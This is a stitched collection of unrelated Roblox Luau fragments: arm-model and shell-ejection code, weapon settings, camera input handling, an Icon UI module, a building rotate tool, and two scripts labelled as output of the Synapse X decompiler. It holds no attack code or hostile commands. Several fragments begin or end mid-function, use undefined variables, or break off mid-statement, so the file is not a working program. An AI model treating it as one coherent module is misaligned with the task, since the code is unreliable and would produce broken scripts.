for L_150_forvar1, L_151_forvar2 in pairs(L_145_:GetChildren()) do
if L_151_forvar2:IsA('Motor6D') then
L_151_forvar2:Destroy()
end
end
L_145_.Name = "Right Arm"
L_145_.FormFactor = "Custom"
L_145_.Size = Vector3.new(0.8, 2.5, 0.8)
L_145_.Transparency = 0.0
local L_146_ = Instance.new("Motor6D")
L_146_.Part0 = L_145_
L_146_.Part1 = L_3_:FindFirstChild("Right Arm")
L_146_.C0 = CFrame.new()
L_146_.C1 = CFrame.new()
L_146_.Parent = L_145_
L_145_.Parent = Arms
local L_147_ = L_3_:FindFirstChild("Left Arm"):clone()
L_147_.Name = "Left Arm"
L_147_.FormFactor = "Custom"
L_147_.Size = Vector3.new(0.8, 2.5, 0.8)
L_147_.Transparency = 0.0
local L_148_ = Instance.new("Motor6D")
L_148_.Part0 = L_147_
L_148_.Part1 = L_3_:FindFirstChild("Left Arm")
L_148_.C0 = CFrame.new()
L_148_.C1 = CFrame.new()
L_148_.Parent = L_147_
L_147_.Parent = Arms
end
function RemoveArmModel()
if Arms then
Arms:Destroy()
Arms = nil
end
end
local L_107_
function CreateShell()
L_107_ = time()
local L_152_ = L_1_.Shell:clone()
if L_152_:FindFirstChild('Shell') then
L_152_.Shell:Destroy()
end
L_152_.CFrame = L_1_.Chamber.CFrame
L_152_.Velocity = L_1_.Chamber.CFrame.lookVector * 30 + Vector3.new(0, 4, 0)
--shell.RotVelocity = Vector3.new(-10,40,30)
L_152_.Parent = L_76_
L_152_.CanCollide = false
game:GetService("Debris"):addItem(L_152_, 1)
end
|
--local soundCoroutine = coroutine.wrap(function()
--while wait(math.random(5,10)) do
--root.Hiss.Pitch = root.Hiss.OriginalPitch.Value+(math.random(-10,10)/100)
--root.Hiss:Play()
--end
--end)
--soundCoroutine()
| |
--------------------) Settings
|
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 2 -- cooldown for use of the tool again
BoneModelName = "Slash" -- name the zone model
HumanoidName = "Humanoid"-- the name of player or mob u want to damage
|
-- if self.L3ButtonDown then
-- -- L3 Thumbstick is depressed, right stick controls dolly in/out
-- if (input.Position.Y > THUMBSTICK_DEADZONE) then
-- self.currentZoomSpeed = 0.96
-- elseif (input.Position.Y < -THUMBSTICK_DEADZONE) then
-- self.currentZoomSpeed = 1.04
-- else
-- self.currentZoomSpeed = 1.00
-- end
-- else
|
if state == Enum.UserInputState.Cancel then
self.gamepadPanningCamera = ZERO_VECTOR2
return
end
local inputVector = Vector2.new(input.Position.X, -input.Position.Y)
if inputVector.magnitude > THUMBSTICK_DEADZONE then
self.gamepadPanningCamera = Vector2.new(input.Position.X, -input.Position.Y)
else
self.gamepadPanningCamera = ZERO_VECTOR2
end
--end
return Enum.ContextActionResult.Sink
end
return Enum.ContextActionResult.Pass
end
function BaseCamera:DoKeyboardPanTurn(name, state, input)
if not self.hasGameLoaded and VRService.VREnabled then
return Enum.ContextActionResult.Pass
end
if state == Enum.UserInputState.Cancel then
self.turningLeft = false
self.turningRight = false
return Enum.ContextActionResult.Sink
end
if self.panBeginLook == nil and self.keyPanEnabled then
if input.KeyCode == Enum.KeyCode.Left then
self.turningLeft = state == Enum.UserInputState.Begin
elseif input.KeyCode == Enum.KeyCode.Right then
self.turningRight = state == Enum.UserInputState.Begin
end
return Enum.ContextActionResult.Sink
end
return Enum.ContextActionResult.Pass
end
function BaseCamera:DoPanRotateCamera(rotateAngle)
local angle = Util.RotateVectorByAngleAndRound(self:GetCameraLookVector() * Vector3.new(1,0,1), rotateAngle, math.pi*0.25)
if angle ~= 0 then
self.rotateInput = self.rotateInput + Vector2.new(angle, 0)
self.lastUserPanCamera = tick()
self.lastCameraTransform = nil
end
end
function BaseCamera:DoGamepadZoom(name, state, input)
if input.UserInputType == self.activeGamepad then
if input.KeyCode == Enum.KeyCode.ButtonR3 then
if state == Enum.UserInputState.Begin then
if self.distanceChangeEnabled then
local dist = self:GetCameraToSubjectDistance()
if dist > (GAMEPAD_ZOOM_STEP_2 + GAMEPAD_ZOOM_STEP_3)/2 then
self:SetCameraToSubjectDistance(GAMEPAD_ZOOM_STEP_2)
elseif dist > (GAMEPAD_ZOOM_STEP_1 + GAMEPAD_ZOOM_STEP_2)/2 then
self:SetCameraToSubjectDistance(GAMEPAD_ZOOM_STEP_1)
else
self:SetCameraToSubjectDistance(GAMEPAD_ZOOM_STEP_3)
end
end
end
elseif input.KeyCode == Enum.KeyCode.DPadLeft then
self.dpadLeftDown = (state == Enum.UserInputState.Begin)
elseif input.KeyCode == Enum.KeyCode.DPadRight then
self.dpadRightDown = (state == Enum.UserInputState.Begin)
end
if self.dpadLeftDown then
self.currentZoomSpeed = 1.04
elseif self.dpadRightDown then
self.currentZoomSpeed = 0.96
else
self.currentZoomSpeed = 1.00
end
return Enum.ContextActionResult.Sink
end
return Enum.ContextActionResult.Pass
|
--[[
Divides a transparency value by a value, as if it were opacity.
divideTransparency(0, 2) -> 0.5
divideTransparency(0.3, 2) -> 0.65
]]
|
return function(transparency, divisor)
return 1 - (1 - transparency) / divisor
end
|
--This module is for any client FX related to the Double Tap Machine
|
local PowerBoxFX = {}
local tweenService = game:GetService("TweenService")
function PowerBoxFX.POWER_ON(powerBox)
if not powerBox then return end
local switchModel = powerBox:FindFirstChild("Switch")
if not switchModel then return end
local handle = switchModel.Handle
local midPos = switchModel.Mid
local topPos = switchModel.Up
tweenService:Create(handle, TweenInfo.new(0.1), {CFrame = midPos.CFrame}):Play()
wait(0.11)
tweenService:Create(handle, TweenInfo.new(0.1), {CFrame = topPos.CFrame}):Play()
end
return PowerBoxFX
|
-- CORE UTILITY METHODS
|
function Icon:set(settingName, value, toggleState, setAdditional)
local settingDetail = self._settingsDictionary[settingName]
assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName))
-- Update the settings value
if type(toggleState) == "string" then
toggleState = toggleState:lower()
end
local previousValue = self:get(settingName, toggleState)
local settingType = settingDetail.type
if settingType == "toggleable" then
local valuesToSet = {}
if toggleState == "deselected" or toggleState == "selected" then
table.insert(valuesToSet, toggleState)
else
table.insert(valuesToSet, "deselected")
table.insert(valuesToSet, "selected")
toggleState = nil
end
for i, v in pairs(valuesToSet) do
settingDetail.values[v] = value
if setAdditional ~= "_ignorePrevious" then
settingDetail.additionalValues["previous_"..v] = previousValue
end
if type(setAdditional) == "string" then
settingDetail.additionalValues[setAdditional.."_"..v] = previousValue
end
end
else
settingDetail.value = value
if type(setAdditional) == "string" then
if setAdditional ~= "_ignorePrevious" then
settingDetail.additionalValues["previous"] = previousValue
end
settingDetail.additionalValues[setAdditional] = previousValue
end
end
-- Check previous and new are not the same
if previousValue == value then
return self, "Value was already set"
end
-- Update appearances of associated instances
local currentToggleState = self:getToggleState()
if not self._updateAfterSettingAll and settingDetail.instanceNames and (currentToggleState == toggleState or toggleState == nil) then
self:_update(settingName, currentToggleState, true)
end
-- Call any methods present
if settingDetail.callMethods then
for _, callMethod in pairs(settingDetail.callMethods) do
callMethod(self, value, toggleState)
end
end
-- Call any signals present
if settingDetail.callSignals then
for _, callSignal in pairs(settingDetail.callSignals) do
callSignal:Fire()
end
end
return self
end
function Icon:get(settingName, toggleState, getAdditional)
local settingDetail = self._settingsDictionary[settingName]
assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName))
local settingType = settingDetail.type
if settingType == "toggleable" then
toggleState = toggleState or self:getToggleState()
local additionalValue = type(getAdditional) == "string" and settingDetail.additionalValues[getAdditional.."_"..toggleState]
return settingDetail.values[toggleState], additionalValue
end
local additionalValue = type(getAdditional) == "string" and settingDetail.additionalValues[getAdditional]
return settingDetail.value, additionalValue
end
function Icon:getToggleState(isSelected)
isSelected = isSelected or self.isSelected
return (isSelected and "selected") or "deselected"
end
function Icon:_update(settingName, toggleState, applyInstantly)
local settingDetail = self._settingsDictionary[settingName]
assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName))
toggleState = toggleState or self:getToggleState()
local value = settingDetail.value or (settingDetail.values and settingDetail.values[toggleState])
if value == nil then return end
local tweenInfo = (applyInstantly and TweenInfo.new(0)) or self._settings.action.toggleTransitionInfo.value
local propertyName = settingDetail.propertyName
local invalidPropertiesTypes = {
["string"] = true,
["NumberSequence"] = true,
["Text"] = true,
["EnumItem"] = true,
["ColorSequence"] = true,
}
local uniqueSetting = self._uniqueSettingsDictionary[settingName]
for _, instanceName in pairs(settingDetail.instanceNames) do
local instance = self.instances[instanceName]
local propertyType = typeof(instance[propertyName])
local cannotTweenProperty = invalidPropertiesTypes[propertyType]
if uniqueSetting then
uniqueSetting(settingName, instance, propertyName, value)
elseif cannotTweenProperty then
instance[propertyName] = value
else
tweenService:Create(instance, tweenInfo, {[propertyName] = value}):Play()
end
--
if settingName == "iconSize" and instance[propertyName] ~= value then
self.updated:Fire()
end
--
end
end
function Icon:_updateAll(toggleState, applyInstantly)
for settingName, settingDetail in pairs(self._settingsDictionary) do
if settingDetail.instanceNames then
self:_update(settingName, toggleState, applyInstantly)
end
end
end
function Icon:_updateStateOverlay(transparency, color)
local stateOverlay = self.instances.iconOverlay
stateOverlay.BackgroundTransparency = transparency or 1
stateOverlay.BackgroundColor3 = color or Color3.new(1, 1, 1)
end
function Icon:setTheme(theme, updateAfterSettingAll)
self._updateAfterSettingAll = updateAfterSettingAll
for settingsType, settingsDetails in pairs(theme) do
if settingsType == "toggleable" then
for settingName, settingValue in pairs(settingsDetails.deselected) do
self:set(settingName, settingValue, "both")
end
for settingName, settingValue in pairs(settingsDetails.selected) do
self:set(settingName, settingValue, "selected")
end
else
for settingName, settingValue in pairs(settingsDetails) do
self:set(settingName, settingValue)
end
end
end
self._updateAfterSettingAll = nil
if updateAfterSettingAll then
self:_updateAll()
end
return self
end
function Icon:setEnabled(bool)
self.enabled = bool
self.instances.iconContainer.Visible = bool
self.updated:Fire()
return self
end
function Icon:setName(string)
self.name = string
self.instances.iconContainer.Name = string
return self
end
function Icon:_playClickSound()
local clickSound = self.instances.clickSound
if clickSound.SoundId ~= nil and #clickSound.SoundId > 0 and clickSound.Volume > 0 then
local clickSoundCopy = clickSound:Clone()
clickSoundCopy.Parent = clickSound.Parent
clickSoundCopy:Play()
debris:AddItem(clickSoundCopy, clickSound.TimeLength)
end
end
function Icon:select(byIcon)
if self.locked then return self end
self.isSelected = true
self:_setToggleItemsVisible(true, byIcon)
self:_updateNotice()
self:_updateAll()
self:_playClickSound()
if #self.dropdownIcons > 0 or #self.menuIcons > 0 then
IconController:_updateSelectionGroup()
end
self.selected:Fire()
self.toggled:Fire(self.isSelected)
return self
end
function Icon:deselect(byIcon)
if self.locked then return self end
self.isSelected = false
self:_setToggleItemsVisible(false, byIcon)
self:_updateNotice()
self:_updateAll()
self:_playClickSound()
if #self.dropdownIcons > 0 or #self.menuIcons > 0 then
IconController:_updateSelectionGroup()
end
self.deselected:Fire()
self.toggled:Fire(self.isSelected)
return self
end
function Icon:notify(clearNoticeEvent, noticeId)
coroutine.wrap(function()
if not clearNoticeEvent then
clearNoticeEvent = self.deselected
end
if self._parentIcon then
self._parentIcon:notify(clearNoticeEvent)
end
local notifComplete = Signal.new()
local endEvent = self._endNotices:Connect(function()
notifComplete:Fire()
end)
local customEvent = clearNoticeEvent:Connect(function()
notifComplete:Fire()
end)
noticeId = noticeId or httpService:GenerateGUID(true)
self.notices[noticeId] = {
completeSignal = notifComplete,
clearNoticeEvent = clearNoticeEvent,
}
self.totalNotices += 1
self:_updateNotice()
self.notified:Fire(noticeId)
notifComplete:Wait()
endEvent:Disconnect()
customEvent:Disconnect()
notifComplete:Disconnect()
self.totalNotices -= 1
self.notices[noticeId] = nil
self:_updateNotice()
end)()
return self
end
function Icon:_updateNotice()
local enabled = true
if self.totalNotices < 1 then
enabled = false
end
-- Deselect
if not self.isSelected then
if (#self.dropdownIcons > 0 or #self.menuIcons > 0) and self.totalNotices > 0 then
enabled = true
end
end
-- Select
if self.isSelected then
if #self.dropdownIcons > 0 or #self.menuIcons > 0 then
enabled = false
end
end
local value = (enabled and 0) or 1
self:set("noticeImageTransparency", value)
self:set("noticeTextTransparency", value)
self.instances.noticeLabel.Text = (self.totalNotices < 100 and self.totalNotices) or "99+"
end
function Icon:clearNotices()
self._endNotices:Fire()
return self
end
function Icon:disableStateOverlay(bool)
if bool == nil then
bool = true
end
local stateOverlay = self.instances.iconOverlay
stateOverlay.Visible = not bool
return self
end
|
-- Removes the mirror copy of the provided
-- object from the HeadMirrors table, if it
-- is defined in there presently.
|
function FpsCamera:RemoveHeadMirror(desc)
local mirror = self.HeadMirrors[desc]
if mirror then
mirror:Destroy()
self.HeadMirrors[desc] = nil
end
end
|
-- Decompiled with the Synapse X Luau decompiler.
|
local v1 = {
Name = "clear",
Aliases = {},
Description = "Clear all lines above the entry line of the Cmdr window.",
Group = "DefaultUtil",
Args = {}
};
local l__Players__1 = game:GetService("Players");
function v1.ClientRun()
local l__Cmdr__2 = l__Players__1.LocalPlayer:WaitForChild("PlayerGui"):WaitForChild("Cmdr");
local l__Frame__3 = l__Cmdr__2:WaitForChild("Frame");
if l__Cmdr__2 and l__Frame__3 then
for v4, v5 in pairs(l__Frame__3:GetChildren()) do
if v5.Name == "Line" and v5:IsA("TextBox") then
v5:Destroy();
end;
end;
end;
return "";
end;
return v1;
|
--[[
Server Module
--]]
|
local Settings = { --, not ; ? | server module!!
BulletHoleTexture = 'http://www.roblox.com/asset/?id=64291961'
,Damage = {20, 50}
,OneHanded = false --DONT USE YET
,FakeArms = true
,FakeArmTransparency = 0
,RightPos = CFrame.new(-1,0.7,0.45) * CFrame.Angles(math.rad(-90), 0, 0)
,LeftPos = CFrame.new(0.8,0.8,0.3) * CFrame.Angles(math.rad(-90), math.rad(45), 0)
}
return Settings
|
--[[ The Module ]]
|
--
local BaseCamera = {}
BaseCamera.__index = BaseCamera
function BaseCamera.new()
local self = setmetatable({}, BaseCamera)
-- So that derived classes have access to this
self.FIRST_PERSON_DISTANCE_THRESHOLD = FIRST_PERSON_DISTANCE_THRESHOLD
self.cameraType = nil
self.cameraMovementMode = nil
self.lastCameraTransform = nil
self.lastUserPanCamera = tick()
self.humanoidRootPart = nil
self.humanoidCache = {}
-- Subject and position on last update call
self.lastSubject = nil
self.lastSubjectPosition = Vector3.new(0, 5, 0)
self.lastSubjectCFrame = CFrame.new(self.lastSubjectPosition)
-- These subject distance members refer to the nominal camera-to-subject follow distance that the camera
-- is trying to maintain, not the actual measured value.
-- The default is updated when screen orientation or the min/max distances change,
-- to be sure the default is always in range and appropriate for the orientation.
self.defaultSubjectDistance = math.clamp(DEFAULT_DISTANCE, player.CameraMinZoomDistance, player.CameraMaxZoomDistance)
self.currentSubjectDistance = math.clamp(DEFAULT_DISTANCE, player.CameraMinZoomDistance, player.CameraMaxZoomDistance)
self.inFirstPerson = false
self.inMouseLockedMode = false
self.portraitMode = false
self.isSmallTouchScreen = false
-- Used by modules which want to reset the camera angle on respawn.
self.resetCameraAngle = true
self.enabled = false
-- Input Event Connections
self.PlayerGui = nil
self.cameraChangedConn = nil
self.viewportSizeChangedConn = nil
-- VR Support
self.shouldUseVRRotation = false
self.VRRotationIntensityAvailable = false
self.lastVRRotationIntensityCheckTime = 0
self.lastVRRotationTime = 0
self.vrRotateKeyCooldown = {}
self.cameraTranslationConstraints = Vector3.new(1, 1, 1)
self.humanoidJumpOrigin = nil
self.trackingHumanoid = nil
self.cameraFrozen = false
self.subjectStateChangedConn = nil
self.gamepadZoomPressConnection = nil
-- Mouse locked formerly known as shift lock mode
self.mouseLockOffset = ZERO_VECTOR3
-- Initialization things used to always execute at game load time, but now these camera modules are instantiated
-- when needed, so the code here may run well after the start of the game
if player.Character then
self:OnCharacterAdded(player.Character)
end
player.CharacterAdded:Connect(function(char)
self:OnCharacterAdded(char)
end)
if self.cameraChangedConn then self.cameraChangedConn:Disconnect() end
self.cameraChangedConn = workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(function()
self:OnCurrentCameraChanged()
end)
self:OnCurrentCameraChanged()
if self.playerCameraModeChangeConn then self.playerCameraModeChangeConn:Disconnect() end
self.playerCameraModeChangeConn = player:GetPropertyChangedSignal("CameraMode"):Connect(function()
self:OnPlayerCameraPropertyChange()
end)
if self.minDistanceChangeConn then self.minDistanceChangeConn:Disconnect() end
self.minDistanceChangeConn = player:GetPropertyChangedSignal("CameraMinZoomDistance"):Connect(function()
self:OnPlayerCameraPropertyChange()
end)
if self.maxDistanceChangeConn then self.maxDistanceChangeConn:Disconnect() end
self.maxDistanceChangeConn = player:GetPropertyChangedSignal("CameraMaxZoomDistance"):Connect(function()
self:OnPlayerCameraPropertyChange()
end)
if self.playerDevTouchMoveModeChangeConn then self.playerDevTouchMoveModeChangeConn:Disconnect() end
self.playerDevTouchMoveModeChangeConn = player:GetPropertyChangedSignal("DevTouchMovementMode"):Connect(function()
self:OnDevTouchMovementModeChanged()
end)
self:OnDevTouchMovementModeChanged() -- Init
if self.gameSettingsTouchMoveMoveChangeConn then self.gameSettingsTouchMoveMoveChangeConn:Disconnect() end
self.gameSettingsTouchMoveMoveChangeConn = UserGameSettings:GetPropertyChangedSignal("TouchMovementMode"):Connect(function()
self:OnGameSettingsTouchMovementModeChanged()
end)
self:OnGameSettingsTouchMovementModeChanged() -- Init
UserGameSettings:SetCameraYInvertVisible()
UserGameSettings:SetGamepadCameraSensitivityVisible()
self.hasGameLoaded = game:IsLoaded()
if not self.hasGameLoaded then
self.gameLoadedConn = game.Loaded:Connect(function()
self.hasGameLoaded = true
self.gameLoadedConn:Disconnect()
self.gameLoadedConn = nil
end)
end
self:OnPlayerCameraPropertyChange()
return self
end
function BaseCamera:GetModuleName()
return "BaseCamera"
end
function BaseCamera:OnCharacterAdded(char)
self.resetCameraAngle = self.resetCameraAngle or self:GetEnabled()
self.humanoidRootPart = nil
if UserInputService.TouchEnabled then
self.PlayerGui = player:WaitForChild("PlayerGui")
for _, child in ipairs(char:GetChildren()) do
if child:IsA("Tool") then
self.isAToolEquipped = true
end
end
char.ChildAdded:Connect(function(child)
if child:IsA("Tool") then
self.isAToolEquipped = true
end
end)
char.ChildRemoved:Connect(function(child)
if child:IsA("Tool") then
self.isAToolEquipped = false
end
end)
end
end
function BaseCamera:GetHumanoidRootPart(): BasePart
if not self.humanoidRootPart then
if player.Character then
local humanoid = player.Character:FindFirstChildOfClass("Humanoid")
if humanoid then
self.humanoidRootPart = humanoid.RootPart
end
end
end
return self.humanoidRootPart
end
function BaseCamera:GetBodyPartToFollow(humanoid: Humanoid, isDead: boolean) -- BasePart
-- If the humanoid is dead, prefer the head part if one still exists as a sibling of the humanoid
if humanoid:GetState() == Enum.HumanoidStateType.Dead then
local character = humanoid.Parent
if character and character:IsA("Model") then
return character:FindFirstChild("Head") or humanoid.RootPart
end
end
return humanoid.RootPart
end
function BaseCamera:GetSubjectCFrame(): CFrame
local result = self.lastSubjectCFrame
local camera = workspace.CurrentCamera
local cameraSubject = camera and camera.CameraSubject
if not cameraSubject then
return result
end
if cameraSubject:IsA("Humanoid") then
local humanoid = cameraSubject
local humanoidIsDead = humanoid:GetState() == Enum.HumanoidStateType.Dead
local bodyPartToFollow = humanoid.RootPart
-- If the humanoid is dead, prefer their head part as a follow target, if it exists
if humanoidIsDead then
if humanoid.Parent and humanoid.Parent:IsA("Model") then
bodyPartToFollow = humanoid.Parent:FindFirstChild("Head") or bodyPartToFollow
end
end
if bodyPartToFollow and bodyPartToFollow:IsA("BasePart") then
local heightOffset
if humanoid.RigType == Enum.HumanoidRigType.R15 then
if humanoid.AutomaticScalingEnabled then
heightOffset = R15_HEAD_OFFSET
local rootPart = humanoid.RootPart
if bodyPartToFollow == rootPart then
local rootPartSizeOffset = (rootPart.Size.Y - HUMANOID_ROOT_PART_SIZE.Y)/2
heightOffset = heightOffset + Vector3.new(0, rootPartSizeOffset, 0)
end
else
heightOffset = R15_HEAD_OFFSET_NO_SCALING
end
else
heightOffset = HEAD_OFFSET
end
if humanoidIsDead then
heightOffset = ZERO_VECTOR3
end
result = bodyPartToFollow.CFrame*CFrame.new(heightOffset + humanoid.CameraOffset)
end
elseif cameraSubject:IsA("BasePart") then
result = cameraSubject.CFrame
elseif cameraSubject:IsA("Model") then
-- Model subjects are expected to have a PrimaryPart to determine orientation
if cameraSubject.PrimaryPart then
result = cameraSubject:GetPrimaryPartCFrame()
else
result = CFrame.new()
end
end
if result then
self.lastSubjectCFrame = result
end
return result
end
function BaseCamera:GetSubjectVelocity(): Vector3
local camera = workspace.CurrentCamera
local cameraSubject = camera and camera.CameraSubject
if not cameraSubject then
return ZERO_VECTOR3
end
if cameraSubject:IsA("BasePart") then
return cameraSubject.Velocity
elseif cameraSubject:IsA("Humanoid") then
local rootPart = cameraSubject.RootPart
if rootPart then
return rootPart.Velocity
end
elseif cameraSubject:IsA("Model") then
local primaryPart = cameraSubject.PrimaryPart
if primaryPart then
return primaryPart.Velocity
end
end
return ZERO_VECTOR3
end
function BaseCamera:GetSubjectRotVelocity(): Vector3
local camera = workspace.CurrentCamera
local cameraSubject = camera and camera.CameraSubject
if not cameraSubject then
return ZERO_VECTOR3
end
if cameraSubject:IsA("BasePart") then
return cameraSubject.RotVelocity
elseif cameraSubject:IsA("Humanoid") then
local rootPart = cameraSubject.RootPart
if rootPart then
return rootPart.RotVelocity
end
elseif cameraSubject:IsA("Model") then
local primaryPart = cameraSubject.PrimaryPart
if primaryPart then
return primaryPart.RotVelocity
end
end
return ZERO_VECTOR3
end
function BaseCamera:StepZoom()
local zoom: number = self.currentSubjectDistance
local zoomDelta: number = CameraInput.getZoomDelta()
if math.abs(zoomDelta) > 0 then
local newZoom
if zoomDelta > 0 then
newZoom = zoom + zoomDelta*(1 + zoom*ZOOM_SENSITIVITY_CURVATURE)
newZoom = math.max(newZoom, self.FIRST_PERSON_DISTANCE_THRESHOLD)
else
newZoom = (zoom + zoomDelta)/(1 - zoomDelta*ZOOM_SENSITIVITY_CURVATURE)
newZoom = math.max(newZoom, FIRST_PERSON_DISTANCE_MIN)
end
if newZoom < self.FIRST_PERSON_DISTANCE_THRESHOLD then
newZoom = FIRST_PERSON_DISTANCE_MIN
end
self:SetCameraToSubjectDistance(newZoom)
end
return ZoomController.GetZoomRadius()
end
function BaseCamera:GetSubjectPosition(): Vector3?
local result = self.lastSubjectPosition
local camera = game.Workspace.CurrentCamera
local cameraSubject = camera and camera.CameraSubject
if cameraSubject then
if cameraSubject:IsA("Humanoid") then
local humanoid = cameraSubject
local humanoidIsDead = humanoid:GetState() == Enum.HumanoidStateType.Dead
local bodyPartToFollow = humanoid.RootPart
-- If the humanoid is dead, prefer their head part as a follow target, if it exists
if humanoidIsDead then
if humanoid.Parent and humanoid.Parent:IsA("Model") then
bodyPartToFollow = humanoid.Parent:FindFirstChild("Head") or bodyPartToFollow
end
end
if bodyPartToFollow and bodyPartToFollow:IsA("BasePart") then
local heightOffset
if humanoid.RigType == Enum.HumanoidRigType.R15 then
if humanoid.AutomaticScalingEnabled then
heightOffset = R15_HEAD_OFFSET
if bodyPartToFollow == humanoid.RootPart then
local rootPartSizeOffset = (humanoid.RootPart.Size.Y/2) - (HUMANOID_ROOT_PART_SIZE.Y/2)
heightOffset = heightOffset + Vector3.new(0, rootPartSizeOffset, 0)
end
else
heightOffset = R15_HEAD_OFFSET_NO_SCALING
end
else
heightOffset = HEAD_OFFSET
end
if humanoidIsDead then
heightOffset = ZERO_VECTOR3
end
result = bodyPartToFollow.CFrame.p + bodyPartToFollow.CFrame:vectorToWorldSpace(heightOffset + humanoid.CameraOffset)
end
elseif cameraSubject:IsA("VehicleSeat") then
local offset = SEAT_OFFSET
result = cameraSubject.CFrame.p + cameraSubject.CFrame:vectorToWorldSpace(offset)
elseif cameraSubject:IsA("SkateboardPlatform") then
result = cameraSubject.CFrame.p + SEAT_OFFSET
elseif cameraSubject:IsA("BasePart") then
result = cameraSubject.CFrame.p
elseif cameraSubject:IsA("Model") then
if cameraSubject.PrimaryPart then
result = cameraSubject:GetPrimaryPartCFrame().p
else
result = cameraSubject:GetModelCFrame().p
end
end
else
-- cameraSubject is nil
-- Note: Previous RootCamera did not have this else case and let self.lastSubject and self.lastSubjectPosition
-- both get set to nil in the case of cameraSubject being nil. This function now exits here to preserve the
-- last set valid values for these, as nil values are not handled cases
return nil
end
self.lastSubject = cameraSubject
self.lastSubjectPosition = result
return result
end
function BaseCamera:UpdateDefaultSubjectDistance()
if self.portraitMode then
self.defaultSubjectDistance = math.clamp(PORTRAIT_DEFAULT_DISTANCE, player.CameraMinZoomDistance, player.CameraMaxZoomDistance)
else
self.defaultSubjectDistance = math.clamp(DEFAULT_DISTANCE, player.CameraMinZoomDistance, player.CameraMaxZoomDistance)
end
end
function BaseCamera:OnViewportSizeChanged()
local camera = game.Workspace.CurrentCamera
local size = camera.ViewportSize
self.portraitMode = size.X < size.Y
self.isSmallTouchScreen = UserInputService.TouchEnabled and (size.Y < 500 or size.X < 700)
self:UpdateDefaultSubjectDistance()
end
|
-- Decompiled with the Synapse X Luau decompiler.
|
client = nil;
cPcall = nil;
Pcall = nil;
Routine = nil;
service = nil;
gTable = nil;
return function(p1)
local l__PlayerGui__1 = service.PlayerGui;
script.Parent.Parent.TextLabel.Position = UDim2.new(0, 0, 0, -40);
gTable:Ready();
end;
|
-- Load additional libraries
|
while not _G.GetLibraries do wait() end
Support, Cheer, Try = _G.GetLibraries(
'F3X/SupportLibrary@^1.0.0',
'F3X/Cheer@^0.0.0',
'F3X/Try@~1.0.0'
);
|
-- Container for temporary connections (disconnected automatically)
|
local Connections = {};
function RotateTool.Equip()
-- Enables the tool's equipped functionality
-- Set our current pivot mode
SetPivot(RotateTool.Pivot);
-- Start up our interface
ShowUI();
BindShortcutKeys();
end;
function RotateTool.Unequip()
-- Disables the tool's equipped functionality
-- Clear unnecessary resources
HideUI();
HideHandles();
ClearConnections();
BoundingBox.ClearBoundingBox();
SnapTracking.StopTracking();
end;
function ClearConnections()
-- Clears out temporary connections
for ConnectionKey, Connection in pairs(Connections) do
Connection:disconnect();
Connections[ConnectionKey] = nil;
end;
end;
function ClearConnection(ConnectionKey)
-- Clears the given specific connection
local Connection = Connections[ConnectionKey];
-- Disconnect the connection if it exists
if Connections[ConnectionKey] then
Connection:disconnect();
Connections[ConnectionKey] = nil;
end;
end;
function ShowUI()
-- Creates and reveals the UI
-- Reveal UI if already created
if RotateTool.UI then
-- Reveal the UI
RotateTool.UI.Visible = true;
-- Update the UI every 0.1 seconds
UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1);
-- Skip UI creation
return;
end;
-- Create the UI
RotateTool.UI = Core.Tool.Interfaces.BTRotateToolGUI:Clone();
RotateTool.UI.Parent = Core.UI;
RotateTool.UI.Visible = true;
-- Add functionality to the pivot option switch
local PivotSwitch = RotateTool.UI.PivotOption;
PivotSwitch.Center.Button.MouseButton1Down:connect(function ()
SetPivot('Center');
end);
PivotSwitch.Local.Button.MouseButton1Down:connect(function ()
SetPivot('Local');
end);
PivotSwitch.Last.Button.MouseButton1Down:connect(function ()
SetPivot('Last');
end);
-- Add functionality to the increment input
local IncrementInput = RotateTool.UI.IncrementOption.Increment.TextBox;
IncrementInput.FocusLost:connect(function (EnterPressed)
RotateTool.Increment = tonumber(IncrementInput.Text) or RotateTool.Increment;
IncrementInput.Text = Support.Round(RotateTool.Increment, 4);
end);
-- Add functionality to the rotation inputs
local XInput = RotateTool.UI.Info.RotationInfo.X.TextBox;
local YInput = RotateTool.UI.Info.RotationInfo.Y.TextBox;
local ZInput = RotateTool.UI.Info.RotationInfo.Z.TextBox;
XInput.FocusLost:connect(function (EnterPressed)
local NewAngle = tonumber(XInput.Text);
if NewAngle then
SetAxisAngle('X', NewAngle);
end;
end);
YInput.FocusLost:connect(function (EnterPressed)
local NewAngle = tonumber(YInput.Text);
if NewAngle then
SetAxisAngle('Y', NewAngle);
end;
end);
ZInput.FocusLost:connect(function (EnterPressed)
local NewAngle = tonumber(ZInput.Text);
if NewAngle then
SetAxisAngle('Z', NewAngle);
end;
end);
-- Update the UI every 0.1 seconds
UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1);
end;
function HideUI()
-- Hides the tool UI
-- Make sure there's a UI
if not RotateTool.UI then
return;
end;
-- Hide the UI
RotateTool.UI.Visible = false;
-- Stop updating the UI
UIUpdater:Stop();
end;
function UpdateUI()
-- Updates information on the UI
-- Make sure the UI's on
if not RotateTool.UI then
return;
end;
-- Only show and calculate selection info if it's not empty
if #Selection.Items == 0 then
RotateTool.UI.Info.Visible = false;
RotateTool.UI.Size = UDim2.new(0, 245, 0, 90);
return;
else
RotateTool.UI.Info.Visible = true;
RotateTool.UI.Size = UDim2.new(0, 245, 0, 150);
end;
-----------------------------------------
-- Update the size information indicators
-----------------------------------------
-- Identify common angles across axes
local XVariations, YVariations, ZVariations = {}, {}, {};
for _, Part in pairs(Selection.Items) do
table.insert(XVariations, Support.Round(Part.Orientation.X, 3));
table.insert(YVariations, Support.Round(Part.Orientation.Y, 3));
table.insert(ZVariations, Support.Round(Part.Orientation.Z, 3));
end;
local CommonX = Support.IdentifyCommonItem(XVariations);
local CommonY = Support.IdentifyCommonItem(YVariations);
local CommonZ = Support.IdentifyCommonItem(ZVariations);
-- Shortcuts to indicators
local XIndicator = RotateTool.UI.Info.RotationInfo.X.TextBox;
local YIndicator = RotateTool.UI.Info.RotationInfo.Y.TextBox;
local ZIndicator = RotateTool.UI.Info.RotationInfo.Z.TextBox;
-- Update each indicator if it's not currently being edited
if not XIndicator:IsFocused() then
XIndicator.Text = CommonX or '*';
end;
if not YIndicator:IsFocused() then
YIndicator.Text = CommonY or '*';
end;
if not ZIndicator:IsFocused() then
